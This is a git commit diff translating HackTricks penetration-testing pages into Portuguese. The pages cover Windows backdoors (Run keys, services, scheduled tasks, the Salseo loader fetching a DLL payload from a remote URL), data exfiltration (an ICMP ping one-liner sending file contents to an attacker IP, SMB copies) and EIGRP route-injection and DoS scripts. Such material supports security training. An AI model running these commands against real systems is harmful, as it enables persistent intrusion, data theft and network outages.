Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/

This commit is contained in:
Translator 2023-06-14 01:26:44 +00:00
parent 747a198afb
commit 32a0bbe30d
57 changed files with 452 additions and 233 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 447 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 447 KiB

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 MiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 147 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 350 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 350 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 344 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 344 KiB

After

Width:  |  Height:  |  Size: 8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.4 KiB

After

Width:  |  Height:  |  Size: 160 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 535 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 535 KiB

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 148 KiB

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 148 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 102 KiB

After

Width:  |  Height:  |  Size: 244 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 244 KiB

After

Width:  |  Height:  |  Size: 358 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 160 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 106 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 106 KiB

After

Width:  |  Height:  |  Size: 114 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 KiB

After

Width:  |  Height:  |  Size: 61 KiB

View file

@ -144,6 +144,7 @@
* [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
* [macOS Kernel](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
* [macOS Kernel Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md)
* [macOS System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md)
* [macOS Network Services & Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md)
* [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
* [macOS File Extension & URL scheme app handlers](macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md)

View file

@ -57,7 +57,7 @@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Malware" /t REG_S
#### Porta dos Fundos do Serviço
Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidade para o sistema operacional e para os aplicativos instalados. Uma técnica comum de backdoor é criar um serviço que execute um programa malicioso sempre que o sistema é iniciado.
Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades para o sistema operacional e para os aplicativos instalados. Uma técnica comum de backdoor é criar um serviço que execute um programa malicioso sempre que o sistema é iniciado.
Para criar um serviço, use o comando `sc create` no prompt de comando. Por exemplo, o seguinte comando cria um serviço chamado `MalwareService` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
@ -67,9 +67,9 @@ sc create MalwareService binPath= "C:\malware.exe" start= auto DisplayName= "Mal
#### Porta dos Fundos do Agendador de Tarefas
O Agendador de Tarefas do Windows é uma ferramenta que permite agendar a execução de programas em horários específicos ou em resposta a eventos específicos. Uma técnica comum de backdoor é criar uma tarefa agendada que execute um programa malicioso sempre que o sistema é iniciado ou em horários específicos.
O Agendador de Tarefas do Windows é uma ferramenta que permite agendar a execução de programas em horários específicos ou em eventos específicos, como o início do sistema ou o login de um usuário. Uma técnica comum de backdoor é criar uma tarefa agendada que execute um programa malicioso sempre que o sistema é iniciado ou quando um usuário faz login.
Para criar uma tarefa agendada, use o comando `schtasks /create` no prompt de comando. Por exemplo, o seguinte comando cria uma tarefa agendada chamada `MalwareTask` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
Para criar uma tarefa agendada, use o comando `schtasks.exe` no prompt de comando. Por exemplo, o seguinte comando cria uma tarefa agendada chamada `MalwareTask` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
```
schtasks /create /tn "MalwareTask" /tr "C:\malware.exe" /sc onstart /ru SYSTEM
@ -125,15 +125,15 @@ Abra o projeto SalseoLoader usando o Visual Studio.
### Adicione antes da função principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1).png>)
### Instale o DllExport para este projeto
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
#### **Procure pelo pacote DllExport (usando a guia Procurar), e pressione Instalar (e aceite o popup)**
#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1).png>)
@ -151,7 +151,7 @@ Apenas **saia** do Visual Studio
Em seguida, vá para a sua pasta **SalseoLoader** e **execute DllExport\_Configure.bat**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro do **Namespace para DllExport**) e pressione **Aplicar**
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
@ -198,7 +198,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD é um acrônimo para Command Prompt, que é uma ferramenta de linha de comando usada para executar comandos no sistema operacional Windows. É uma ferramenta poderosa para hackers, pois permite executar comandos rapidamente e sem a necessidade de uma interface gráfica. Além disso, muitas ferramentas de hacking são executadas por meio do CMD, tornando-o uma ferramenta essencial para qualquer hacker.
CMD (Command Prompt) é uma ferramenta de linha de comando do Windows que permite aos usuários interagir com o sistema operacional por meio de comandos. É uma ferramenta poderosa para hackers, pois permite executar comandos rapidamente e sem a necessidade de uma interface gráfica. Além disso, muitas ferramentas de hacking são executadas por meio do CMD.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View file

@ -1,11 +1,11 @@
## Exfiltração
# Exfiltração
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -17,7 +17,11 @@
{% embed url="https://go.intigriti.com/hacktricks" %}
## Copiar e Colar Base64
## Domínios comumente permitidos para exfiltrar informações
Verifique [https://lots-project.com/](https://lots-project.com/) para encontrar domínios comumente permitidos que podem ser abusados
## Copiar e colar Base64
**Linux**
```bash
@ -225,21 +229,21 @@ A exfiltração de dados em sistemas Windows pode ser realizada de várias manei
As ferramentas de linha de comando do Windows, como `bitsadmin`, `certutil`, `powershell`, `netsh`, `reg`, `wevtutil`, `wmic`, entre outras, podem ser usadas para exfiltrar dados. Essas ferramentas podem ser usadas para codificar, compactar e enviar dados para um servidor remoto.
## 2. Uso de aplicativos de terceiros
## 2. Uso de ferramentas de terceiros
Os aplicativos de terceiros, como o `Cobalt Strike`, `Metasploit`, `PowerSploit`, `Empire`, `Pupy`, entre outros, podem ser usados para exfiltrar dados. Esses aplicativos geralmente têm recursos avançados de exfiltração, como a capacidade de exfiltrar dados por meio de protocolos de rede específicos ou por meio de canais ocultos.
Existem várias ferramentas de terceiros que podem ser usadas para exfiltrar dados em sistemas Windows, como `QuasarRAT`, `Meterpreter`, `Pupy`, `Empire`, `Cobalt Strike`, entre outras. Essas ferramentas geralmente fornecem recursos avançados de exfiltração, como criptografia, compactação e ofuscação de dados.
## 3. Uso de malware personalizado
## 3. Uso de técnicas de tunelamento
O malware personalizado pode ser criado para exfiltrar dados de um sistema Windows. O malware pode ser projetado para se comunicar com um servidor remoto e enviar dados exfiltrados por meio de protocolos de rede específicos ou por meio de canais ocultos.
As técnicas de tunelamento, como `HTTP Tunneling`, `DNS Tunneling`, `ICMP Tunneling`, `TCP Tunneling`, `SMB Tunneling`, entre outras, podem ser usadas para exfiltrar dados em sistemas Windows. Essas técnicas permitem que os dados sejam encapsulados em protocolos de rede legítimos e enviados para um servidor remoto.
## 4. Uso de técnicas de engenharia social
## 4. Uso de serviços de armazenamento em nuvem
As técnicas de engenharia social podem ser usadas para exfiltrar dados de um sistema Windows. Por exemplo, um invasor pode usar um e-mail de phishing para enviar dados exfiltrados para um endereço de e-mail controlado pelo invasor.
Os serviços de armazenamento em nuvem, como `Dropbox`, `Google Drive`, `OneDrive`, `Box`, entre outros, podem ser usados para exfiltrar dados em sistemas Windows. Esses serviços permitem que os dados sejam armazenados em um servidor remoto e acessados por meio de um aplicativo ou navegador da web.
## 5. Uso de dispositivos de armazenamento externos
Os dispositivos de armazenamento externos, como unidades USB, discos rígidos externos e cartões SD, podem ser usados para exfiltrar dados de um sistema Windows. Esses dispositivos podem ser conectados ao sistema e os dados podem ser copiados para o dispositivo de armazenamento externo.
Os dispositivos de armazenamento externos, como `USB`, `CD`, `DVD`, `HD externo`, entre outros, podem ser usados para exfiltrar dados em sistemas Windows. Esses dispositivos permitem que os dados sejam armazenados fisicamente e transportados para outro local.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -308,7 +312,11 @@ cat <&6 > file.txt
```
## **ICMP**
(ICMP) é um protocolo de camada de rede usado para enviar mensagens de erro e informações operacionais sobre problemas de rede. O ICMP é frequentemente usado em conjunto com outros protocolos de rede, como o IP, para fornecer informações sobre o status da rede. O ICMP é usado por muitas ferramentas de teste de penetração para exfiltrar dados de uma rede.
O Protocolo de Mensagem de Controle da Internet (ICMP) é um protocolo de camada de rede usado para enviar mensagens de erro e informações operacionais sobre problemas de rede. O ICMP é frequentemente usado em conjunto com outras ferramentas de rede para testar a conectividade da rede e diagnosticar problemas de rede.
O ICMP pode ser usado para exfiltrar dados de uma rede, enviando pacotes ICMP com dados ocultos no campo de carga útil. Isso é conhecido como "túnel ICMP". O tráfego ICMP é frequentemente permitido em firewalls e outras soluções de segurança, tornando o túnel ICMP uma técnica de exfiltração atraente.
Existem várias ferramentas disponíveis para criar túneis ICMP, incluindo ICMPTunnel e PingTunnel. Essas ferramentas permitem que um invasor crie um túnel ICMP entre um sistema comprometido e um servidor controlado pelo invasor, permitindo que os dados sejam exfiltrados da rede comprometida.
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
@ -416,8 +424,8 @@ Agora basta copiar e colar o texto em nosso shell do Windows. E ele criará auto
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Esta página foi copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
**Esta página foi copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
## Atacando o Protocolo EIGRP <a href="#0f82" id="0f82"></a>
@ -43,35 +43,47 @@ A configuração do FRRouting está pronta. Agora é hora de executar o daemon F
~$ sudo systemctl start frr
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
<figure><img src="../../.gitbook/assets/image (32).png" alt=""><figcaption></figcaption></figure>
O comando **vtysh** nos levará ao painel de controle do roteador FRR.
```
~$ sudo vtysh
```
### EIGRP Attacks
#### EIGRP Protocol
#### Introduction
O Protocolo de Gateway de Interiores Aprimorado (EIGRP) é um protocolo de roteamento avançado que é usado em redes de grande porte. Ele é usado para compartilhar informações de roteamento entre roteadores dentro de uma rede. O EIGRP é um protocolo proprietário da Cisco e é usado em seus roteadores.
EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
#### EIGRP Attack
#### EIGRP Protocol Overview
Os ataques EIGRP são usados para explorar vulnerabilidades no protocolo EIGRP. Esses ataques podem ser usados para obter informações de roteamento, modificar rotas ou até mesmo derrubar uma rede inteira. Alguns dos ataques EIGRP mais comuns incluem:
EIGRP uses a hierarchical network design that consists of autonomous systems (AS) and areas. An AS is a collection of networks that are under a common administrative domain. An area is a logical grouping of networks within an AS. EIGRP routers within an AS exchange routing information using EIGRP packets. EIGRP packets are sent using multicast addresses and are authenticated using a shared secret key.
- **Eavesdropping**: um atacante pode usar um sniffer de rede para capturar pacotes EIGRP e obter informações de roteamento.
- **Spoofing**: um atacante pode enviar pacotes EIGRP falsificados para modificar rotas ou derrubar uma rede.
- **Replay**: um atacante pode capturar pacotes EIGRP e reenviá-los para modificar rotas ou derrubar uma rede.
- **DoS**: um atacante pode enviar pacotes EIGRP falsificados em grande quantidade para sobrecarregar a rede e derrubá-la.
#### EIGRP Attacks
#### Mitigação de Ataques EIGRP
EIGRP is vulnerable to various attacks that can be used to disrupt network operations or to gain unauthorized access to network resources. The following are some of the common EIGRP attacks:
Para mitigar ataques EIGRP, é recomendável implementar as seguintes medidas de segurança:
- **EIGRP Neighbor Spoofing**: An attacker can spoof EIGRP packets to make it appear as if they are coming from a legitimate EIGRP neighbor. This can be used to inject false routing information into the network or to cause routing loops.
- **Autenticação**: é recomendável usar autenticação para garantir que apenas roteadores autorizados possam se comunicar usando o protocolo EIGRP.
- **Criptografia**: é recomendável usar criptografia para proteger as informações de roteamento transmitidas pelo protocolo EIGRP.
- **Filtragem**: é recomendável filtrar o tráfego EIGRP para permitir apenas o tráfego necessário e bloquear o tráfego malicioso.
- **Monitoramento**: é recomendável monitorar o tráfego EIGRP para detectar atividades suspeitas e responder a elas rapidamente.
- **EIGRP Route Injection**: An attacker can inject false routing information into the network by sending EIGRP packets with fake route updates. This can be used to redirect traffic to a malicious destination or to cause denial of service (DoS) attacks.
- **EIGRP Route Poisoning**: An attacker can send EIGRP packets with poisoned routes to make it appear as if a network is unreachable. This can be used to cause network outages or to redirect traffic to a malicious destination.
- **EIGRP Authentication Bypass**: An attacker can bypass EIGRP authentication by sniffing the network for valid authentication keys or by using brute-force attacks to guess the key. This can be used to gain unauthorized access to network resources.
#### EIGRP Countermeasures
To mitigate EIGRP attacks, the following countermeasures can be implemented:
- **EIGRP Authentication**: EIGRP authentication should be enabled to prevent unauthorized access to the network. EIGRP supports two types of authentication: plain text and MD5.
- **EIGRP Packet Filtering**: EIGRP packets should be filtered to prevent spoofing and injection attacks. Access control lists (ACLs) can be used to filter EIGRP packets based on source and destination IP addresses.
- **EIGRP Route Filtering**: EIGRP routes should be filtered to prevent route poisoning attacks. Route maps can be used to filter EIGRP routes based on various criteria such as source and destination IP addresses, AS numbers, and prefix lengths.
- **EIGRP Stub Routing**: EIGRP stub routing can be used to prevent unauthorized access to the network. Stub routers are configured to only advertise their directly connected networks and do not participate in the EIGRP routing process.
#### Conclusion
EIGRP is a widely used routing protocol that is vulnerable to various attacks. To secure EIGRP networks, it is important to implement appropriate countermeasures such as authentication, packet filtering, route filtering, and stub routing.
```
Inguz# show version
```
@ -111,7 +123,7 @@ Assim, após o estabelecimento da vizinhança, sabemos sobre a existência dessa
### Vizinhos EIGRP Falsos <a href="#51ee" id="51ee"></a>
**Descobri que gerar e enviar rapidamente pacotes EIGRP hello em massa sobrecarrega a CPU do roteador, o que, por sua vez, pode abrir a porta para um ataque DoS.** Eu desenvolvi um pequeno script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py), mas parece-me que o script carece de velocidade no envio dos pacotes. **Isso é causado pelo GIL**, que impede que a função **sprayhello** seja executada em vários threads por segundo. **Eventualmente, reescreverei o script em C.**
**Descobri que gerar e enviar rapidamente pacotes EIGRP hello em massa sobrecarrega a CPU do roteador, o que, por sua vez, pode abrir a porta para um ataque DoS.** Eu desenvolvi um pequeno script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py), mas parece-me que o script carece de velocidade no envio dos pacotes. **Isso é causado pelo GIL**, que impede que a função **sprayhello** seja executada em várias threads por segundo. **Eventualmente, reescreverei o script em C.**
<figure><img src="../../.gitbook/assets/image (2) (6) (1).png" alt=""><figcaption></figcaption></figure>
@ -127,7 +139,7 @@ Argumentos do script:
### Buraco Negro EIGRP <a href="#5c04" id="5c04"></a>
A essência desse ataque é a simples injeção de uma rota falsa que irá envenenar a tabela de roteamento. O tráfego para, digamos, a rede `10.10.100.0/24` não irá a lugar algum, causando uma negação de serviço. Esse tipo de ataque é chamado de Buraco Negro. A ferramenta utilizada para realizá-lo será o script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py). Para este exemplo, enviarei tráfego destinado ao host `172.16.100.140/32` para o buraco negro.
A essência desse ataque é uma simples injeção de uma rota falsa que irá envenenar a tabela de roteamento. O tráfego para, digamos, a rede `10.10.100.0/24` não irá a lugar algum, causando uma negação de serviço. Tal ataque é chamado de Buraco Negro. O script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) será a ferramenta usada para realizá-lo. Para este exemplo, enviarei tráfego destinado ao host `172.16.100.140/32` para o buraco negro.
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
@ -136,12 +148,12 @@ Argumentos do script:
* **interface do sistema atacante**
* **número AS do EIGRP**
* **endereço IP do atacante**
* **endereço IP da sub-rede alvo cujo tráfego será enviado para o buraco negro**
* **máscara de sub-rede alvo**
* **endereço IP da sub-rede de destino cujo tráfego será enviado para o buraco negro**
* **máscara de sub-rede de destino**
```
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
```
<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
**Nosso host parece estar em apuros :)**
@ -151,7 +163,7 @@ Como você pode ver, o host perde a conectividade com o host **172.16.100.140/32
### Abusando dos Valores K <a href="#25aa" id="25aa"></a>
Para estabelecer vizinhos EIGRP, **os roteadores usam valores K especiais.** Eles devem ser iguais entre todos os vizinhos EIGRP. Se pelo menos um valor K não corresponder, o domínio EIGRP falhará e a vizinhança será interrompida. Usaremos o [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) para realizar este ataque\*\*.\*\*
Para estabelecer vizinhos EIGRP, **os roteadores usam valores K especiais.** Eles devem ser iguais entre todos os vizinhos EIGRP. Se pelo menos um valor K não corresponder, o domínio EIGRP irá falhar e a vizinhança será interrompida. Usaremos o [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) para realizar este ataque\*\*.\*\*
<figure><img src="../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
@ -161,7 +173,7 @@ Argumentos do script:
* **número AS EIGRP**
* **Endereço IP do roteador legítimo**
**Em nome do IP especificado, será enviada uma injeção no endereço IP EIGRP multicast, no qual os valores K são diferentes.** No meu caso, vou quebrar a vizinhança em nome do roteador GW1 **(endereço é 10.10.100.100)**.
**Em nome do IP especificado, será enviada uma injeção no endereço IP EIGRP multicast, no qual os valores K são diferentes.** No meu caso, vou quebrar a vizinhança em nome do roteador GW1 **(o endereço é 10.10.100.100)**.
```
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
```
@ -169,11 +181,11 @@ Argumentos do script:
<figure><img src="../../.gitbook/assets/image (27) (1).png" alt=""><figcaption><p>O roteador GW1 desconecta e reconecta o EIGRP infinitamente</p></figcaption></figure>
**Um ataque DoS pode ser realizado dessa maneira. Durante a operação, ocorrem interrupções e tentativas de vizinhança infinitas, paralisando parte do domínio de roteamento EIGRP.**
**Um ataque DoS pode ser realizado desta maneira. Durante a operação, ocorrem interrupções e tentativas de vizinhança infinitas, paralisando parte do domínio de roteamento EIGRP.**
### Sobrecarga da tabela de roteamento <a href="#1d0c" id="1d0c"></a>
A essência desse ataque é provocar o envio de um grande número de rotas falsas, que vão sobrecarregar a tabela de roteamento. Isso esgota os recursos de computação do roteador, ou seja, a CPU e a RAM, já que as injeções ocorrem em uma velocidade enorme. Esse ataque é implementado pelo script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
A essência deste ataque é provocar o envio de um grande número de rotas falsas, que vão sobrecarregar a tabela de roteamento. Isso esgota os recursos de computação do roteador, ou seja, a CPU e a RAM, uma vez que as injeções ocorrem em uma velocidade enorme. Este ataque é implementado pelo script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
<figure><img src="../../.gitbook/assets/image (3) (4).png" alt=""><figcaption></figcaption></figure>
@ -185,7 +197,7 @@ Argumentos do script
```
in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
```
Após a execução do script, a tabela de roteamento começa a transbordar com rotas. Os endereços aleatórios das redes de destino são devido ao uso de **RandIP()** no [**Scapy**](https://github.com/secdev/scapy).
Após a execução do script, a tabela de roteamento começa a transbordar com rotas. Os endereços aleatórios das redes de destino são devidos ao uso de **RandIP()** no [**Scapy**](https://github.com/secdev/scapy).
<figure><img src="../../.gitbook/assets/image (4) (4).png" alt=""><figcaption><p>Tabela de roteamento transbordando no roteador GW1</p></figcaption></figure>
@ -198,7 +210,7 @@ Após a execução do script, a tabela de roteamento começa a transbordar com r
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
